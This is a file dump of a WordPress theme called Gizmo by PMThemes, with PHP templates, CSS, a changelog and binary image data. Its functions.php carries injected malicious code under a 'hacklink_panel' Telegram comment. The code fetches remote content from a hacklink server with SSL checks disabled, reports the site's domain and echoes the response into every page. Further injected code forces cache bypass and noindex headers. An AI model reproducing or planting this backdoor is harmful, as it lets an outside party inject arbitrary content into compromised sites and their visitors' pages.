��g�MX �8��� �TY��繁p��@���o��@d �m�@l �8+EQ�#s}}m�h�\�#�e���ԥ!��������h�f�ߣ���b�����I�UUu��<�c�h�v��q�]�.�΋%�������,��f��	p�9��'��0N@��"@�pꪪ�$�#�s	��`�o�Ir{�|8N��)�cx�7[�y@�p����UU�SE�"MS�4��=I�H	 �8>ܟ>w�8N@��Q����8|�g.��8�X�ef���r�4�ct}}m�LQ�繁p�<�}�?So߾5��8|�G� �Α�o�yEQ���eY��H	pb.
���!�������� ߃{���]��4��p�}�k}��0�~\�̷�^�8�������qv��sf���؅���S�}?�`�\UUf�ǰo�v֯_�oۡ����$I̾��4���b��p��q�b9d�G�w��*����|�5R׵Y8 �)I������N��8�Y�����>!r*f��׊Y80}�qJ���v{��G�Jn6� ��ls>����7~JUU�x��p�u]<??�u�}nw��J���k �~���C���F��G{��>?�ï(�2�ۭY8�{���?���@�f�x�_��8.6M��ri�-eYF�e@�0�<ϣ(
�o���6G��?��d�/I�����,ˢ,�H�Ԡ�	�>������{�f*M�Ȳ,�<	7��dY��*���
 ���C\�equuy��a�3rqqa0�`����Օ˸�c��>�a�ab�x~~���I���h^\\��竫����Cpglj�h��v���Lq��8�_<n۶_��4���˗�Y��@���݁#���X����l��ߓ}�8�����}��~�m]�}s�k����y/�µ8���|���u?mM��~��������i"I���s8��|v́#?�i�h��f�~�8�_�\UUfcpS���l���ݬT]�g{1��1�eYTUeYzq �~��)^G�Q�u4Mc0�6.�:������.�G�0�uu]����:Ar��q��vu]9���ͅٯo�X���M� �~������K%_1䮯��@��υ�U�ul�۳=�d��[��/!�8�d�0�0vq��ns㻻���*��e�8�0��>_��~�u?~��j�Bp0o.̞����>�a0��(�2����{��υ���nc���k�&�����[˅p�~�0{��q������32C|��!��eTUe@�4\�}\v�h8ar�6�Mt]��ʒJ�:������4M��k1sm����]�V+3���0�4��k�r��L��͍���eY�'bw�t۶G�}�i���qyyI�D�$qyy��/>7C<??���O�^��>>}�tT���q|��+�ҋ@�|[�$��D����n�s�.nϲ,.//y�)Mӯ�`~뎵a���>�����Y�	\��1C,/j�)�!���goI�DQquuEQ�}�.�>����m�h�v�c��nc�X�V^��S2Ǔ&wѶ�37��T�E�m�F�4����F �o���<޼ysT{��4�������!��Ǐ�S �o��,�X,G/`���\.c�\F�4/KE����$I^f�N�~��,�,��.z���p�q����V�e\__����y�G��Ѷml6���ȉ8������""��X�VG�T�W�d��:���A�i�Ȳ,���/��`�u�[�$�Z�fy��UUo޼9؅��&...\�
 ����z}�x+�"V��Y,���������mc�^�}6n�^�\��	�\1����=P�����[��׿�u��ɹ��� "����f�ׯ�eY��ޒɟ��r�ׯ��	��`&�a����k�_�,�x���YT�;���w���u���X��@�0��.`�\���<�����uoZ�49L�g����-ٝ2�x�ߗ�i�{�.�<���\���Zp�����v��x{��c�xL�q��@�p��0�
��Oc�Z�-⺮���
:��`����^�É�Ӌ�}�vp�fQ��iF����=zxxo"�	��K�pg��뽜:yss#�q�8����a��O ���8�{9ur_�azG�8�R��3&UU�*`?��$noo'�,��k�8^�0�ϖ�y���`�D��qss3���׬.�l��Igߒ$�<���^,�~��i��8^�0��xss3�r=~�b��|O�Y8�+�:ު�rh�̭V�I�,���L}R`���/��8�'��8~�Ǐ'�6���g�RW
8~����d�]���G�z����,���Wu]7�$W�,�&���,���}��q��^,���A>B��b�e�}�;�@���q��m���$QU�A>Ri�N��M�lp�ڶ��𒪪\r�|����n*S�bO?ē$���䱇a���
2����W���o'b�{�F	 �8p�E��o'$M��fឞ�0���Gt]7��fYY��2�rX�Q8~Д�'9-EQLv��T�H@���a&���j����)XF	 ���\>��7��"�dLu|�哧pS,��a��p'�y�������I�}p��b�Z���O�8��{6�lG����M���p���N�t���K�t�}p8�a�َ��K�{�u3p�0�l�%��a��L��8��A����1�s=�ɨ8��6��)�E1O�<�8��>(O�����j���p8��4�i���'Q8�`�Iw�}Q��{?}�d`@�pl�;/���@�p�o���| �p8��3�A�| �8���A� �p8����.K���Kf�45��}|Hp�e��[�8�dG��@��ڲ,{��t
��h^�8��cN^��Y������^\\\��Mq��0�֝	3p�}�1'Ӽ5O���y�j�u��%�]]]M�OOO�t]�ꏙ繁p|�Tw���;}S=Ǯp|����������c��{��<��Y�׶�$�;լ0�$L��i�{��q�d�[�=p��jɚe��k��7�'��T3p}�[F)�f�Z@��Λs�L6�a���q���|@������q�����L����p0�aq'���I7��I��@���,�&��<�~����5N�K�I����ٯ)c\�8f��,��r9l�e���Ap�L�M�!�i��� ��v;�c�ei��qS�l6�Hu]7�o޼1���������m��� ������(
�O8~E���^����`�����]U�Ap��)���}�@�#2��K_�����e9鉀��ց&Gb��j�Xd��?X���� �\�u�Ζ&I��7�k��`���GvUU/p��v�L~��f����
����I�N����8+UUM�."�>�q4�3R�u�m;�k�����5ߴ�d�C&�a�����`�D�u�_�����7��>�r
59���Ӌ�����`*��j��4�CMhǽ,gͲ,ʲ4����y����7�M4Mc�owww{���ڀ8��\.���m�^����>N��*�<7����i:��&"�t�m����w:��}�.p��>?���ӈ7K'���^N��<�\1�z������{��,�,�pRQ{=
�i��q�ڶ��������������,���9:5��v��Z���@��Oo�I���{�]�>���m[O��]н�n��u˲ta7��`N�4������f�����.>|����Ͳl��$p��<��a�����Ct]�I�F�n6�����a���>I�ݻw��\j��0qwwg6�3�Y�����C�������qiN�n����u?~�����w5Cl6������qh	���"n��,k�1��ul��X�Vgsq�8���n2���e��#ssss��w�*�<����(���a�i�����GW��'�h���w�u]]�E���X,�(��؛�}�u}����
@� �&5C���H�$������n��8�Ѷm�u=������@�MAM�D�4��iEeY�6�vѶ�37�
@�p�����X�׳Y��Y������H�4�<��("˲H��`�W�u�m��~;� �8a��b�Gbn73��idYY����U\^^Nu]��0�}<??Ņ�I���͍�&�qY��f����9C��ղ�,�"I�����j�����7cg�x~~���Br����ĺ�
@�p&������xxx8���|���M)˲x���I��	���'�����b���>_����
�Ly� �,�����K5s��2V��xp�����Z,cf�4����GUU��YB	��E\]]�z���r��0��?
�J���(��`�t��j����[��3p�c@���F۶��l���9�W��A/1@�p��������n�Q׵�8�W���O���2ʲ�����Π����b�XX.	���u�.�n�&�ۭe���rI�*�2ʲ|YV9��A��p{�����p��b������k!'�p�]�$�X,b�XXZ�eYƛ7o���DJY��u]�um۞}ܾy�&޾}k��y��<�<�a�m�x||<�Y��(�(�(�ҋ�qH�4�������h�&ڶ=ɘ�E[Q�@�pܲ,��r��2������h�h�K���s����c.˲��*""������xzz�mХiy�G�equuY�y"p��ݞ����c����q��|/I�D�e��i�i�kf�p�
���(���a�������KЍ����?��/3hI�����KH���W������΁�  �p8��@�8@� �p��p8��@�8���� ��O�>@����X����*p���YM�D�4`��8��@� � �p8��@�8@� � �p8��@�8@� �p �p8��@�8@� �p��p8��@�8@� �p�7��� ��ʃG�IEND�B`�pmgizmo/woocommerce/single-product/related.php000064400000002453152223213640015641 0ustar00<?php
/**
 * Related Products
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/related.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see 	    https://docs.woocommerce.com/document/template-structure/
 * @author 		WooThemes
 * @package 	WooCommerce/Templates
 * @version     5.5.0
 * Edited for PMThemes - 09/08/2020
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( $related_products ) : ?>
	<section class="related products">
		<h2 class="related-items"><?php esc_html_e( 'Related Items', 'pmthemes' ); ?></h2>
		<?php woocommerce_product_loop_start(); ?>
			<?php foreach ( $related_products as $related_product ) : ?>
				<?php
				 	$post_object = get_post( $related_product->get_id() );
					setup_postdata( $GLOBALS['post'] =& $post_object );
					wc_get_template_part( 'content', 'product' ); ?>
			<?php endforeach; ?>
		<?php woocommerce_product_loop_end(); ?>
	</section>
<?php endif;
wp_reset_postdata();pmgizmo/woocommerce/single-product/.htaccess000064400000000000152223213640015270 0ustar00pmgizmo/woocommerce/single-product/tabs/description.php000064400000000474152223213640017476 0ustar00<?php
/**
 * Description tab
 *
 * @author 		WooThemes
 * @package 	WooCommerce/Templates
 * @version     5.5.0
 * Edited for PMThemes - 09/08/2020
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}
global $post;
?>
<div class="entry clearfix">
<?php the_content(); ?>
</div>pmgizmo/woocommerce/single-product/tabs/.htaccess000064400000000000152223213640016221 0ustar00pmgizmo/woocommerce/single-product/short-description.php000064400000002163152223213640017677 0ustar00<?php
/**
 * Single product short description
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/short-description.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @author  Automattic
 * @package WooCommerce/Templates
 * @version 5.5.0
 * *Edited for PMThemes - 09/08/2020
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}

global $post;

$short_description = apply_filters( 'woocommerce_short_description', $post->post_excerpt );

if ( ! $short_description ) {
    return;
}

?>
<div class="entry clearfix">
<div class="woocommerce-product-details__short-description">
    <?php echo $short_description; // WPCS: XSS ok. ?>
</div>
</div>pmgizmo/woocommerce/.htaccess000064400000000000152223213640012331 0ustar00pmgizmo/woocommerce/BOGZT.php000064400000000000152223213640012131 0ustar00pmgizmo/template-frontpage.php000064400000002654152223213640012544 0ustar00<?php
/*
Template Name: Magazine Front Page
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>
<?php // Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
?>
	<div id="wrap" class="clearfix template-frontpage">
		<section id="content" class="primary" role="main">
		<?php // Display Featured Post Slideshow if activated
		if ( isset($theme_options['slider_activated_front_page']) and $theme_options['slider_activated_front_page'] == true ) :
			get_template_part( 'template-parts/featured-content-slider' );
		endif; ?>
		<?php // Display Frontpage Widgets
		if(is_active_sidebar('frontpage-magazine')) : ?>
			<div id="frontpage-magazine-widgets" class="clearfix">
				<?php dynamic_sidebar('frontpage-magazine'); ?>
			</div>
		<?php // Display Description about Magazine Homepage Widgets when widget area is empty
		else : 
			// Display only to users with permission
			if ( current_user_can( 'edit_theme_options' ) ) : ?>
			<p class="frontpage-magazine-no-widgets">
				<?php _e('There are no widgets to be displayed. Please go to Appearance -> Widgets and add at least one widget to the "Magazine Front Page" widget area. You can use the three Category Posts widgets to set up the theme like the demo website.', 'pmthemes'); ?>
			</p>
			<?php endif;
		endif; ?>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>pmgizmo/editor-style.css000064400000006542152223213640011373 0ustar00/* Styles for usage in the TinyMCE editor. */
html {
	font-size: 100.01%;
}
html .mceContentBody {
	max-width: 700px;
	line-height: 1.6em;
}
body {
	font-family: 'Arimo', Verdana, Arial;
	font-size: 0.95em;
	color: #111;
	line-height: 1;
}

/* Text Elements
-------------------------------------------------------------- */
a, a:link, a:visited{
	color: #ba1111;
	text-decoration: none;
}
a:hover, a:active {
	text-decoration: underline;
}
p {
	margin: 0.8em 0;
}
h1, h2, h3, h4, h5, h6 {
	color: #222;
	font-weight: bold;
	line-height: 1.0em;
	margin: 1.2em 0 0.3em;
}
h1 {
	font-size: 3.0em;
}
h2 {
	font-size: 2.25em;
}
h3 {
	font-size: 1.5em;
}
h4 {
	font-size: 1.25em;
}
h5 {
	font-size: 1.125em;
	margin: 1.3em 0 0;
}
h6 {
	font-size: 1.0em;
	margin: 1.3em 0 0;
}
ul{
	list-style: square inside;
	margin: 0 0 0.8em 1.5em;
}
ol{
	list-style: decimal inside;
	margin: 0 0 0.8em 1.5em;
}
ol ol {
	list-style: upper-alpha inside;
}
ol ol ol {
	list-style: lower-roman inside;
}
ol ol ol ol {
	list-style: lower-alpha inside;
}
ul ul, ol ol, ul ol, ol ul {
	margin-bottom: 0.2em;
}
dl {
	margin: 0.8em 0 1.5em 0;
}
dt {
	font-weight: bold;
}
dd {
	margin-bottom: 1.5em;
}
strong {
	font-weight: bold;
}
cite, em, i {
	font-style: italic;
}
big, .big_tag {
	font-size: 1.3em;
}
ins {
	padding: 1px 2px;
	background: #ffa;
	text-decoration: none;
}
code, pre {
	padding: 3px 8px;
	margin: 0 1px;
	background: #eeeeee;
	color: #222;
	font-size: 0.9em;
	font-family: Monospace, "Courier New", Courier;
	overflow: auto;
	line-height: 1.0em;
}
del, strike, s{
	text-decoration: line-through;
}
pre {
	font-family: "Courier 10 Pitch", Courier, monospace;
}
small {
	font-size: 0.7em;
}
abbr,
acronym {
	border-bottom: 1px dotted #666;
	cursor: help;
}
sup,
sub {
	height: 0;
	line-height: 1;
	position: relative;
	vertical-align: baseline;
	font-size: 0.8em;
}
sup {
	bottom: 1ex;
}
sub {
	top: .5ex;
}
var, kbd, tt, .tt_tag {
	font-size: 1.1em;
	font-family: "Courier 10 Pitch", Courier, monospace;
}
blockquote {
	background:#f5f5f5;
	border-left: 10px solid #ccc;
	margin: 1.5em;
	padding: 0.8em 1.5em;
}
blockquote p {
	display:inline;
}
blockquote cite {
	display: block;
	margin: 0.5em 0 0 0.5em;
	color: #777;
}
table {
	border-collapse: collapse;
	border-spacing: 0;
	border: 1px solid #ddd;
	margin: 20px 0;
	text-align: left;
	width: 100%;
}
tr th,
thead th {
	background: #e5e5e5;
	font-weight: bold;
	padding: 0.2em 0.8em;
}
tr td {
	border-top: 1px solid #ddd;
	padding: 0.2em 0.8em;
}
tr.alternate td {
	background: #f5f5f5;
}

/* Images | Videos
-------------------------------------------------------------- */
img {
	max-width: 100%;
	height: auto;
}
.wp-post-image {
	padding: 4px;
	border: 1px solid #ddd;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}
.wp-caption {
	max-width: 100%;
	height: auto;
	text-align: center;
	margin: 1em 0;
}
.wp-caption-text {
	margin: 0 !important;
	padding: 0;
	font-size: 0.8em;
	text-align: center;
}
.alignleft { 
	float: left; 
	display: inline; 
	margin: 1em 2em 1em 0;
}
.alignright	{
	float: right; 
	display: inline; 
	margin: 1em 0 1em 2em;
}
.aligncenter {
	margin: 1em auto; 
	display: block;
}
embed, iframe, object, video {
	max-width: 100%;
}pmgizmo/readme.txt000064400000021507152223213640010231 0ustar00========= Gizmo Theme ============
==================================
Author: PMThemes
Tested up to: 5.5
Stable tag: 2.1.0
Requires PHP: 7.2
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html


Website: https://pmthemes.com/
Support: https://pmthemes.com/contact/

== Description ==

Gizmo is a unique mobile friendly Wordpress theme perfect for creating niche websites as well as affiliate review sites. It's a light theme with no bloated codes yet it has flexible features that will help you change fonts, colors, and layout of your site.

== Changelog ==

Version 2.1.3 - 08/12/2021
-----------------------------------
Added more premade color schemes.

Version 2.1.2 - 08/06/2021
-----------------------------------
Enhanced Various CSS properties for better look and feel.

Version 2.1.1 - 05/02/2021
-----------------------------------
Added editor stylesheet for Gutenberg editor page.
Fixed various CSS errors.

Version 2.1.0 - 11/03/2020
-----------------------------------
Various CSS corrections. Now, with cleaner looking navigation bar and dropdown menus.

Version 2.0.9 - 10/31/2020
-----------------------------------
CSS corrections for all predefined theme styles.
Implemented real time preview for theme styles, no more waiting for refresh.

Version 2.0.8 - 10/28/2020
-----------------------------------
Added an option for WooCommerce shop page to be displayed with no sidebar or with sidebar.

Version 2.0.7 - 10/27/2020
-----------------------------------
Fixed undefined index error on customizer window.
Fixed missing style for headers on sub-sidebars.

Version 2.0.6 - 10/26/2020
-----------------------------------
Improved main menu styling options. Addition of top and bottom border coloring as well as height adjustments.
Additional footer coloring options.
Additional sidebar coloring options.
Added new sub-section for editing frontpage settings.
Added option to colorize scroll to top button.

Version 2.0.5 - 10/24/2020
-----------------------------------
Fixed extra "Widget Header Styling" on customizer panel "Sidebar & Widgets".
Added customizer option to colorized tabbed widget and its content.
Added option to edit "Plain Text Color" on footer widgets.

Version 2.0.4 - 10/22/2020
-----------------------------------
Fixed drop down menu indicator issue, color was not updating on premade styles.
Fixed extra header padding when on mobile.
Fixed customizer-preview CSS issues, styles with selectors ":before" and ":after" not rendering when previewed on postMessage.

Version 2.0.3 - 10/21/2020
-----------------------------------
Fixed navigation CSS issue on #header. Also implemented an inline appearance when viewed on mobile.

Version 2.0.2 - 10/19/2020
-----------------------------------
Added an option to choose between "large image" and "thumbnail image" when setting archive images.
Added an option to choose between "item width" and "column numbers" when setting preferred layouts for archive pages.
Added a customizer option to edit sidebar borders.

Version 2.0.1 - 10/12/2020
-----------------------------------
Added widget header styling options.
Enhanced header search icon and styling.

Version 2.0.0 - 10/10/2020
-----------------------------------
Added more than 20 predefined theme styles, total theme styles now is 33.
Added a customizer option to merge the two navigation bars on header when viewed on mobile.
Changed the old icon fonts (Fontello) to Dashicons (WordPress own icons) for better and more stable icons management.
Removed redundant files category.php and tag.php and updated archive.php instead.
Added a Customizer subpanel control for archive settings.
  a. Introduced a new grid system to archive pages and added few CSS tweaks.
  b. User can now choose to retain the traditional archive style or enable modern CSS grid with up to 8 grid columns.
  c. User can now set excerpt limit.
  d. User can now align images and archive header/title.
Changed the folder name "templates" to "template-parts" to avoid confusion with "templates" for pages.
Made improvements for the Customizer like minimizing page refresh.
Various CSS tweaks and adjustments.

Version 1.7.5 - 10/01/2020
-----------------------------------
Fixed a range slider issue wherein the number input is not updating when slider is moved. This was affected by JQuery Migrate script being deprecated.
Fixed an minor issue wherein an extra scroll bar is being added on last tab of toggle menus inside Customizer.
Made some CSS enhancements.
Updated lightbox plugin.
Removed woocommerce/single-product-reviews.php and fixed the theme conflict through CSS instead.
Updated woocommerce/single-product/tabs/description.php
Updated woocommerce.php to show full width on shop page.

Version 1.5.0 - 10/10/2019
-----------------------------------
Major improvements:
 - Implemented script enqeue for custom css output instead of just adding to wp_head.
 - Can now use gradient coloring on header, sidebar, and footer widgets.
 - Main menu can now be moved in header area beside site title.
 - Can now switch content of top menu.
 - Fixed a top menu issue.
Various CSS tweaks for top menu, main menu, menu toggle, scroll to top, widget title headers, and search icon.
Added a function that will include site title in jason file name when exporting customizer settings.
Updated woocommerce/single-product\related.php template.

Version 1.2.2 - 07/15/2019
-----------------------------------
Added more hooks for header and footer areas.

Version 1.2.1 - 05/24/2019
-----------------------------------
Updated woocommerce/single-product-reviews template.

Version 1.2.0 - 04/16/2018
-----------------------------------
Added pre-defined colors feature.

Version 1.1.9 - 03/21/2018
-----------------------------------
Fixed issue about logo and banner not being shown on online screenshots and other geo locations.

Version 1.1.8 - 03/07/2018
-----------------------------------
Added live preview for adjusting site title when mobile view is active on customizer window.

Version 1.1.7 - 03/04/2018
-----------------------------------
Edited css on header area for a better rendition when viewed on mobile browsers.
Implemented responsive font size for the title and site description.

Version 1.1.6 - 03/02/2018
-----------------------------------
Reorganinized customizer area for better editing workflow.
Added color editing option for header line and body border lines.
Added color editing option for footer widgets area.
Added color editing option for body border color.

Version 1.1.5 - 03/01/2018
-----------------------------------
Fixed some CSS styling issues in title/logo area, top navigation, and restored header line.

Version 1.1.4 - 02/28/2018
-----------------------------------
Fixed some CSS styling issues when using Customizer.

Version 1.1.3 - 02/25/2018
-----------------------------------
Added font size and padding slider control for top and main navigation menus.

Version 1.1.2 - 02/23/2018
-----------------------------------
Added font size and padding on front pages.
Added a "Default FB Image URL" for Facebook open graph meta.

Version 1.1.1 - 02/22/2018
-----------------------------------
Added controls for sidebar widgets font size and padding adjustments.
Added control for font title size, font, spacing, and logo/banner balance.

Version 1.1.0 - 02/18/2018
-----------------------------------
Added slider control on customizer to enables users to select values with ease.

Version 1.0.9 - 02/16/2018
-----------------------------------
Updated header CSS styles to allow automatic vertical centering of logo and banner.
Updated header.php for a simpler and more organized functions.

Version 1.0.8 - 02/15/2018
-----------------------------------
Updated main navigation CSS styles for automatic vertical centering of navigation items.

Version 1.0.7 - 02/13/2018
-----------------------------------
Updated top navigation and top navbar CSS styles.

Version 1.0.6 - 02/11/2018
-----------------------------------
Updated 125 banner CSS styles for automatic grid adjustment on varying screen sizes.
Removed old favicon icon option so WordPress' native "Site Icon" should be used instead.

Version 1.0.5 - 02/10/2018
-----------------------------------
Updated custom templates for WooCommerce Version 3.3.1.

Version 1.0.4 - 01/23/2018
-----------------------------------
Exclude current post from being shown in recent and popular section of the tabbed widget.

Version 1.0.3 - 11/03/2017
-----------------------------------
Enhanced posts markup, formatting and gallery styling.
Added more options for post settings (show/hide comments, post author, post meta).

Version 1.0.2 - 10/30/2017
-----------------------------------
Removed and replaced deprecated WordPress functions.
Updated WooCommerce templates for WC version 3.2.1.

Version 1.0.1 - 05/07/2017
-----------------------------------
Fixed error on customizer panel.
Updated Lightbox plugin.

Version 1.0.0 - 02/20/2017
-----------------------------------
Final Versionpmgizmo/footer.php000064400000003676152223213640010251 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
</div><!-- end content-wrap -->
<div id="footer-wrap">
	<?php do_action('pmthemes_before_footer'); ?>
	
	<?php 
		$theme_options = pmthemes_theme_options();
		$total = $theme_options['fwidgets']; 
		if (!isset($total)) $total = 4;				   
		if ( ( is_active_sidebar('footer-widgets-1') ||
			   is_active_sidebar('footer-widgets-2') || 
			   is_active_sidebar('footer-widgets-3') || 
			   is_active_sidebar('footer-widgets-4') ) && $total > 0 ) : 
	?>	
		<div id="footer-widgets-bg">
			<div id="footer-widgets-wrap" class="container">
				<div id="footer-widgets" class="clearfix">
					<div class="footer-widgets-ins">
						<?php $i = 0; while ( $i < $total ) : $i++; ?>	
						<div class="footer-widget-column-<?php echo $total; ?>">
							<?php dynamic_sidebar('footer-widgets-'.$i); ?>
						</div>
						<?php endwhile; ?> 	
					</div>
				</div>
			</div>	
		</div>
    <?php endif; ?>	
	</div>
	<footer id="footer" class="clearfix" role="contentinfo">
	  <div class="footie">
		<div id="footer-text">	
		&copy; <?php echo date('Y'); ?> <a href="<?php echo esc_url(home_url()); ?>"><?php bloginfo(); ?></a>. <?php _e('All Rights Reserved.', 'pmthemes') ?>
			<?php do_action('pmthemes_footer_text'); ?>
		</div>
		<?php // Display Footer Navigation
		if ( has_nav_menu( 'footer' ) ) : ?>
		<nav id="footernav" class="clearfix" role="navigation">
			<?php wp_nav_menu(	array(
				'theme_location' => 'footer', 
				'container' => false, 
				'menu_id' => 'footernav-menu', 
				'fallback_cb' => '', 
				'depth' => 1)
			);
			?>
			<h5 id="footernav-icon"><?php _e('Menu', 'pmthemes'); ?></h5>
		</nav>
		<?php endif; ?>
	   </div>
	</footer>
</div><!-- end footer-wrap -->
<?php do_action('pmthemes_below_footer'); ?>
</div><!-- end #wrapper -->
<?php do_action('pmthemes_scroll_top'); ?>
<?php wp_footer(); ?>
</body>
</html>pmgizmo/functions.php000064400000011113152223213640010744 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Get the theme
$theme = wp_get_theme( 'pmgizmo' );
//* Define Theme Constants
define( 'PMTHEMES_VERSION', $theme['Version']);
define( 'PMTHEMES_NAME', $theme['Name']);
define( 'PMTHEMES_SITE_NAME', 'PMThemes');
define( 'PMTHEMES_SITE_URL', $theme['ThemeURI']);
define( 'PMTHEMES_UPDT_URL', 'https://www.hostideo.com/gizmo/');
//* Define URL Location Constants
define( 'PMTHEMES_URI', get_template_directory_uri() );
define ('PMTHEMES_INC_URI', PMTHEMES_URI . '/inc');
//* Define Directory Location Constants
define( 'PMTHEMES_DIR', get_template_directory() );
define ('PMTHEMES_INC_DIR', PMTHEMES_DIR . '/inc');

// General cleanup
require( PMTHEMES_INC_DIR . '/wp-cleanup.php' );

//* INCLUDES
require( PMTHEMES_INC_DIR . '/theme-functions.php' );
require( PMTHEMES_INC_DIR . '/options.php' );
require( PMTHEMES_INC_DIR . '/iex.php' );
// Include Theme Customizer Options
require( PMTHEMES_INC_DIR . '/customizer/helper-functions.php' );
require( PMTHEMES_INC_DIR . '/customizer/customizer.php' );
require( PMTHEMES_INC_DIR . '/customizer/default-options.php' );
// Include Customization Files
require( PMTHEMES_INC_DIR . '/customizer/home/slider.php' );
// Include Template Functions
require( PMTHEMES_INC_DIR . '/theme-tags.php' );
// Include Widget Files
require( PMTHEMES_INC_DIR . '/widgets/posts-boxed.php' );
require( PMTHEMES_INC_DIR . '/widgets/posts-columns.php' );
require( PMTHEMES_INC_DIR . '/widgets/posts-grid.php' );
require( PMTHEMES_INC_DIR . '/widgets/posts-single.php' );
require( PMTHEMES_INC_DIR . '/widgets/popular-posts.php' );
require( PMTHEMES_INC_DIR . '/widgets/recent-comments.php' );
require( PMTHEMES_INC_DIR . '/widgets/recent-posts.php' );
require( PMTHEMES_INC_DIR . '/widgets/social-icons.php' );
require( PMTHEMES_INC_DIR . '/widgets/tabbed-content.php' );
// Include Featured Content class
require( PMTHEMES_INC_DIR . '/featured-content.php' );
// Include Custom Colors, Fonts and Logo Files
require( PMTHEMES_INC_DIR . '/custom-colors.php' );
require( PMTHEMES_INC_DIR . '/custom-fonts.php' );
require( PMTHEMES_INC_DIR . '/custom-logo.php' );
require( PMTHEMES_INC_DIR . '/custom-styles.php' );
// admin files
require( PMTHEMES_INC_DIR . '/update.php' );
add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
pmgizmo/.htaccess000064400000000000152223213640010012 0ustar00pmgizmo/single.php000064400000001144152223213640010220 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
		<?php if (have_posts()) : while (have_posts()) : the_post();
			get_template_part( 'template-parts/content', 'single' );
			endwhile;
		endif; ?>
		<?php $theme_options = pmthemes_theme_options();
		if ( isset( $theme_options['hide_post_comment'] ) and $theme_options['hide_post_comment'] == false ) :
		comments_template(); 
		endif; ?>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/template-fullwidth.php000064400000001171152223213640012552 0ustar00<?php
/*
Template Name: Fullwidth
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>
	<div id="wrap" class="clearfix template-fullwidth">
		<section id="content-full" class="clearfix" role="main">
		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
			<div <?php post_class(); ?>>
				<h1 class="page-title"><span><?php the_title(); ?></span></h1>
				<div class="entry clearfix">
					<?php the_content(); ?>
				</div>
				<?php wp_link_pages(); ?>
			</div>
		<?php endwhile; ?>
		<?php endif; ?>
		</section>
	</div>
<?php get_footer(); ?>	pmgizmo/screenshot.png000064400000301070152223213640011112 0ustar00�PNG


IHDR&��I/:	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
